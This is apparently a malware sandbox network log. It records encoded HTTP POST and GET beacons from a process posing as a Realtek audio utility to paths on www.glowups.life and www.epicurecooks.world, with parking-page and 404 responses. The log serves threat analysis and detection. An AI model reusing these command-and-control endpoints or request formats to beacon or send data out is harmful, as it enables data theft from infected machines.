Dec 3, 2024 14:55:39.822767019 CET	1289	IN	Data Raw: 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 Data Ascii: argin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:60
Dec 3, 2024 14:55:39.823132038 CET	1289	IN	Data Raw: 65 61 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f Data Ascii: ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;lin
Dec 3, 2024 14:55:39.823187113 CET	1289	IN	Data Raw: 7a 65 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 Data Ascii: ze:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:
Dec 3, 2024 14:55:39.823283911 CET	1289	IN	Data Raw: 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 2f Data Ascii: -graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/affiliates rel=nofollow><i aria-hidde
Dec 3, 2024 14:55:39.823329926 CET	1289	IN	Data Raw: 46 69 6e 64 20 79 6f 75 72 20 68 6f 73 74 69 6e 67 20 70 6c 61 6e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 31 32 20 63 6f 6c 2d 73 6d 2d 34 20 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d Data Ascii: Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hosting</div><br><p>Add your website to any of your hosting plans. Follow the article
Dec 3, 2024 14:55:39.823370934 CET	1289	IN	Data Raw: 54 46 2d 31 36 20 76 61 6c 75 65 22 29 3b 36 35 35 33 35 3c 72 26 26 28 72 2d 3d 36 35 35 33 36 2c 65 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 72 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 29 2c 72 3d Data Ascii: TF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=2147483647;function e(o,r){return o+22+75*(o<26)-((0!=r)<<5)}function n(r,e,n){var t;
Dec 3, 2024 14:55:39.823415041 CET	1289	IN	Data Raw: 68 61 72 43 6f 64 65 41 74 28 30 29 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 75 74 66 31 36 2e 65 6e 63 6f 64 65 28 6d 29 7d 2c 74 68 69 73 2e 65 6e 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 76 61 72 20 68 2c 66 2c 69 2c 63 2c 75 Data Ascii: harCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toLowerCase())).length;if(a)for(d=0;d<v;d++)w[d]=t[d]!=w[d];var m,y=[];for(h=128,u=72,d=f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.11.20	49825	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:45.003871918 CET	680	OUT	POST /dheh/ HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.glowups.life Referer: http://www.glowups.life/dheh/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 33 4c 30 73 44 36 68 2b 32 56 6b 69 4f 62 37 50 58 75 79 43 4e 64 4e 4d 55 41 79 36 48 6a 32 44 68 66 4b 6a 30 44 59 6f 66 74 38 74 59 72 48 46 75 4a 75 31 39 6d 65 66 4b 68 4f 56 70 4b 67 5a 6e 58 67 62 5a 46 69 76 48 32 38 76 34 65 76 64 74 30 65 79 54 56 7a 62 41 74 73 75 56 69 57 56 76 4e 63 64 71 73 42 68 4d 65 6e 72 38 2f 66 6f 4d 76 72 65 4e 43 78 66 6b 6a 52 64 33 76 4a 4e 6b 58 6a 73 47 63 63 49 51 7a 64 4f 5a 37 69 55 34 67 45 2b 57 69 6a 68 70 4c 54 37 6c 71 4c 56 68 43 59 64 78 35 46 78 4c 32 55 44 65 46 4c 79 63 2f 36 51 66 47 65 48 59 6b 4e 79 36 72 67 41 4d 67 3d 3d Data Ascii: pluxVm=3L0sD6h+2VkiOb7PXuyCNdNMUAy6Hj2DhfKj0DYoft8tYrHFuJu19mefKhOVpKgZnXgbZFivH28v4evdt0eyTVzbAtsuViWVvNcdqsBhMenr8/foMvreNCxfkjRd3vJNkXjsGccIQzdOZ7iU4gE+WijhpLT7lqLVhCYdx5FxL2UDeFLyc/6QfGeHYkNy6rgAMg==
Dec 3, 2024 14:55:45.176934958 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:55:45 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.11.20	49826	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:47.706141949 CET	700	OUT	POST /dheh/ HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.glowups.life Referer: http://www.glowups.life/dheh/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 33 4c 30 73 44 36 68 2b 32 56 6b 69 50 2f 48 50 45 39 71 43 47 64 4e 50 62 67 79 36 49 44 32 48 68 66 47 6a 30 43 73 34 66 66 6f 74 62 50 44 46 76 49 75 31 2b 6d 65 66 42 42 4f 71 6a 71 67 43 6e 57 64 75 5a 46 75 76 48 32 34 76 34 66 2f 64 75 44 79 31 53 46 7a 64 5a 64 73 73 62 43 57 56 76 4e 63 64 71 73 56 4c 4d 65 2f 72 38 50 76 6f 4f 4b 66 5a 52 53 78 63 31 6a 52 64 6d 2f 49 6c 6b 58 69 35 47 5a 45 79 51 78 56 4f 5a 2b 65 55 34 78 45 39 59 69 6a 6e 74 4c 53 4e 71 5a 69 46 73 53 73 56 33 4b 78 32 43 6b 41 38 66 54 47 6f 42 4e 4f 30 63 56 43 31 63 55 30 61 34 70 68 62 52 6e 57 57 71 42 37 65 44 6e 6f 31 50 4d 59 4b 30 69 31 6d 78 45 38 3d Data Ascii: pluxVm=3L0sD6h+2VkiP/HPE9qCGdNPbgy6ID2HhfGj0Cs4ffotbPDFvIu1+mefBBOqjqgCnWduZFuvH24v4f/duDy1SFzdZdssbCWVvNcdqsVLMe/r8PvoOKfZRSxc1jRdm/IlkXi5GZEyQxVOZ+eU4xE9YijntLSNqZiFsSsV3Kx2CkA8fTGoBNO0cVC1cU0a4phbRnWWqB7eDno1PMYK0i1mxE8=
Dec 3, 2024 14:55:47.878542900 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:55:47 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.11.20	49827	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:50.410233021 CET	2578	OUT	POST /dheh/ HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.glowups.life Referer: http://www.glowups.life/dheh/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 33 4c 30 73 44 36 68 2b 32 56 6b 69 50 2f 48 50 45 39 71 43 47 64 4e 50 62 67 79 36 49 44 32 48 68 66 47 6a 30 43 73 34 66 65 51 74 59 38 62 46 75 76 53 31 78 47 65 66 49 68 4f 72 6a 71 68 51 6e 57 46 31 5a 46 53 2f 48 31 51 76 35 2f 6a 64 76 79 79 31 62 46 7a 64 52 39 73 74 56 69 58 64 76 4a 41 42 71 73 46 4c 4d 65 2f 72 38 4d 33 6f 59 50 72 5a 43 69 78 66 6b 6a 52 52 33 76 49 65 6b 54 47 70 47 5a 49 69 52 42 31 4f 41 66 75 55 30 6e 34 39 51 69 6a 6c 71 4c 53 46 71 5a 2f 66 73 57 30 76 33 4c 56 63 43 6e 51 38 64 6b 57 77 46 4f 65 53 50 47 57 2f 63 6e 49 54 33 71 4a 2b 52 48 32 78 75 54 7a 74 4d 44 67 52 4d 2b 55 33 7a 48 5a 79 69 6b 4c 45 52 79 56 43 64 37 73 38 66 50 68 64 72 45 70 5a 61 4a 7a 72 2f 46 4d 57 7a 71 59 7a 35 58 45 69 6f 55 34 61 45 58 4b 77 2b 46 6c 58 4f 7a 63 39 44 46 6a 76 70 45 6d 57 6c 6d 58 47 6d 49 78 36 67 79 59 5a 56 53 31 49 77 67 43 53 79 6d 58 52 6c 56 35 44 36 51 4b 31 75 4b 79 57 51 74 35 6f 32 50 46 35 34 38 63 59 32 4e 32 74 75 6c 44 34 33 57 6b [TRUNCATED] Data Ascii: pluxVm=3L0sD6h+2VkiP/HPE9qCGdNPbgy6ID2HhfGj0Cs4feQtY8bFuvS1xGefIhOrjqhQnWF1ZFS/H1Qv5/jdvyy1bFzdR9stViXdvJABqsFLMe/r8M3oYPrZCixfkjRR3vIekTGpGZIiRB1OAfuU0n49QijlqLSFqZ/fsW0v3LVcCnQ8dkWwFOeSPGW/cnIT3qJ+RH2xuTztMDgRM+U3zHZyikLERyVCd7s8fPhdrEpZaJzr/FMWzqYz5XEioU4aEXKw+FlXOzc9DFjvpEmWlmXGmIx6gyYZVS1IwgCSymXRlV5D6QK1uKyWQt5o2PF548cY2N2tulD43Wk7WbvDlu4s76H9DPbsS6aM9Kd8/E3bMDenk+G5RLfadcgUyVh1Gr+FnAvvfC0VYWm5QoePCRWt5T7fw+GXQU4l+SX9Fr0TvBmk0dBpS6TGkdSfT5HLOFpT1sDMj/kc6qpL69Wwp/yu7GnieYUk4Z+O9bSlVcaOByrZDH2JUBh6JaBb31y2G+d7nz1zdC4AiHzmlpBSk9E4CXupdHN25DA45w22S/KmqSxtEHzQxKJ5T3j3jnW0rrrfWrm0LaHSPXz2j38qVHiyI8IDPI/7EJruirK7nM7kHlV/6kdXIMuUbVeDlMr5eRci5fZc60Qa+lNZjn6lTnHCYu0nxDqie3EF977hd/P/LzcHEFa9rPw6kn7ehjxJct/nNSJyBR9HAYbNFSP7rxsvX4p7vcHCGGQi2hDaTYnOnJpgzJrd1VOzOSiVqC6W7lNqS9n83woOSuu1MVD+28CalthIBpxyG5zFz7RNu7Wxdu54TIS3Repc0UjWJCENUd/IaY3z7iAcZeDzpZXL9jaUMCM/g6CZOCVVa8t1piI76dCf3iRazyrebJzcRVtwTB1gD0VFCcWvGuObJmmuVg26NePnE82Mz/MulWww/S5JTRgxT50D27uy3RQmAwNxYGkg+aGQKPlKHIRJuzq8s8JhtIlb2ZKeL3jq90Ahz5aXruhHQ [TRUNCATED]
Dec 3, 2024 14:55:50.410320044 CET	5271	OUT	Data Raw: 47 56 64 55 34 68 52 70 6b 37 36 35 31 6d 4b 6e 2f 66 34 34 64 53 6c 49 70 71 70 69 56 4c 51 56 48 6f 4b 38 51 78 43 68 2f 43 2f 53 57 61 74 66 36 4e 5a 45 35 6a 37 47 55 31 33 73 6d 34 64 31 6d 2f 2f 72 32 4e 5a 5a 42 56 53 2f 33 73 46 66 54 73 Data Ascii: GVdU4hRpk7651mKn/f44dSlIpqpiVLQVHoK8QxCh/C/SWatf6NZE5j7GU13sm4d1m//r2NZZBVS/3sFfTsqGa0g6pOA4c342R3FE8wMcexHOXSaQgjApguYNebeDfm9JpjIUls8hgNja086UNzYZmKm1kx6okcysqsh5QFxkD8GQUCwzKXFzByX5ms0iuXG1GCgpgs7I+QzU2K3zC7BCEETC/H0SuSv3DwbMbShrsEmlyDnQNm1
Dec 3, 2024 14:55:50.586595058 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:55:50 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	49828	209.74.79.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:53.110161066 CET	419	OUT	GET /dheh/?pluxVm=6JcMAOZ0kkEuPLPobYSFFslgEkquVWiK5Nqk+SkmZf4Wc9f19ayTyDiVFSf9h78jkWY5XnirO34u2f/fghaoX1igb+ZsamnQxKAe0eVMQ+zxkvaWI9vtOSA=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:55:53.283241034 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:55:53 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	49829	208.91.197.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:58.440012932 CET	698	OUT	POST /mdkc/ HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.epicurecooks.world Referer: http://www.epicurecooks.world/mdkc/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 55 2b 6e 59 55 61 33 67 61 43 75 50 34 33 33 35 35 42 55 72 6b 66 4d 42 56 2b 69 4c 37 55 33 54 4e 69 4e 56 6b 66 67 57 5a 75 4a 70 39 72 44 5a 4f 35 4b 41 61 6d 76 77 69 36 59 71 52 4c 38 41 6a 6d 71 39 54 30 37 4f 34 46 4e 6e 73 38 69 2b 46 31 66 36 59 69 42 4a 44 56 49 56 55 44 44 35 52 67 35 73 4e 58 37 5a 54 4a 70 78 39 63 50 51 2b 73 55 49 66 65 64 33 53 52 53 2b 30 77 59 41 4a 46 6e 69 7a 66 79 6b 4f 7a 56 57 7a 30 52 6b 76 31 59 6b 65 47 71 68 79 37 46 70 76 30 57 5a 37 56 33 70 7a 46 68 32 67 73 39 38 39 46 30 63 37 55 58 45 74 7a 73 53 2f 77 4c 2b 64 32 36 43 51 3d 3d Data Ascii: pluxVm=/U+nYUa3gaCuP43355BUrkfMBV+iL7U3TNiNVkfgWZuJp9rDZO5KAamvwi6YqRL8Ajmq9T07O4FNns8i+F1f6YiBJDVIVUDD5Rg5sNX7ZTJpx9cPQ+sUIfed3SRS+0wYAJFnizfykOzVWz0Rkv1YkeGqhy7Fpv0WZ7V3pzFh2gs989F0c7UXEtzsS/wL+d26CQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	49830	208.91.197.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:01.111413956 CET	718	OUT	POST /mdkc/ HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.epicurecooks.world Referer: http://www.epicurecooks.world/mdkc/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 55 2b 6e 59 55 61 33 67 61 43 75 4f 5a 48 33 37 59 42 55 6a 6b 66 50 4e 31 2b 69 5a 37 55 7a 54 4e 6d 4e 56 6c 72 77 57 76 2b 4a 70 5a 76 44 61 4c 5a 4b 42 61 6d 76 6f 79 36 64 75 52 4b 52 41 6a 71 69 39 53 49 37 4f 34 52 4e 6e 75 55 69 69 6d 64 63 37 49 69 48 42 6a 56 4b 49 45 44 44 35 52 67 35 73 4e 44 43 5a 58 64 70 78 73 73 50 43 76 73 4c 46 2f 65 63 32 53 52 53 36 30 77 55 41 4a 46 52 69 33 65 56 6b 4e 4c 56 57 78 73 52 6e 36 5a 62 71 65 47 73 76 53 36 32 35 2b 52 7a 56 4f 4a 44 6f 68 68 4d 77 54 6b 47 35 72 49 75 42 4a 67 7a 48 2b 76 65 57 50 4a 6a 38 66 33 68 66 65 4d 39 36 46 39 6d 6d 49 2b 71 61 56 55 55 2f 34 75 6a 45 6d 63 3d Data Ascii: pluxVm=/U+nYUa3gaCuOZH37YBUjkfPN1+iZ7UzTNmNVlrwWv+JpZvDaLZKBamvoy6duRKRAjqi9SI7O4RNnuUiimdc7IiHBjVKIEDD5Rg5sNDCZXdpxssPCvsLF/ec2SRS60wUAJFRi3eVkNLVWxsRn6ZbqeGsvS625+RzVOJDohhMwTkG5rIuBJgzH+veWPJj8f3hfeM96F9mmI+qaVUU/4ujEmc=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	49831	208.91.197.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:03.782567978 CET	2440	OUT	POST /mdkc/ HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.epicurecooks.world Referer: http://www.epicurecooks.world/mdkc/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 55 2b 6e 59 55 61 33 67 61 43 75 4f 5a 48 33 37 59 42 55 6a 6b 66 50 4e 31 2b 69 5a 37 55 7a 54 4e 6d 4e 56 6c 72 77 57 76 32 4a 75 71 6e 44 61 71 5a 4b 43 61 6d 76 68 53 36 63 75 52 4c 54 41 67 61 6d 39 53 45 72 4f 37 70 4e 6f 74 73 69 79 54 68 63 77 49 69 48 4e 44 56 48 56 55 43 5a 35 52 77 39 73 4e 54 43 5a 58 64 70 78 76 30 50 53 4f 73 4c 44 2f 65 64 33 53 52 65 2b 30 78 42 41 4e 52 42 69 33 4b 76 6c 38 72 56 58 52 38 52 72 73 4e 62 69 65 47 75 6f 53 36 75 35 2b 74 67 56 50 68 6c 6f 67 6c 6d 77 51 55 47 34 74 31 6e 51 4e 73 51 64 49 58 65 57 63 46 61 36 76 2f 6d 59 4d 78 46 71 6c 45 4c 69 34 33 35 46 58 55 30 37 4b 36 72 66 47 37 6f 54 37 78 47 51 55 47 49 76 71 78 4e 4c 46 76 4f 43 4f 37 6b 53 32 63 6e 75 4f 4a 66 4e 58 72 6a 75 47 74 43 77 30 6c 43 6a 47 72 4f 7a 6c 4a 2f 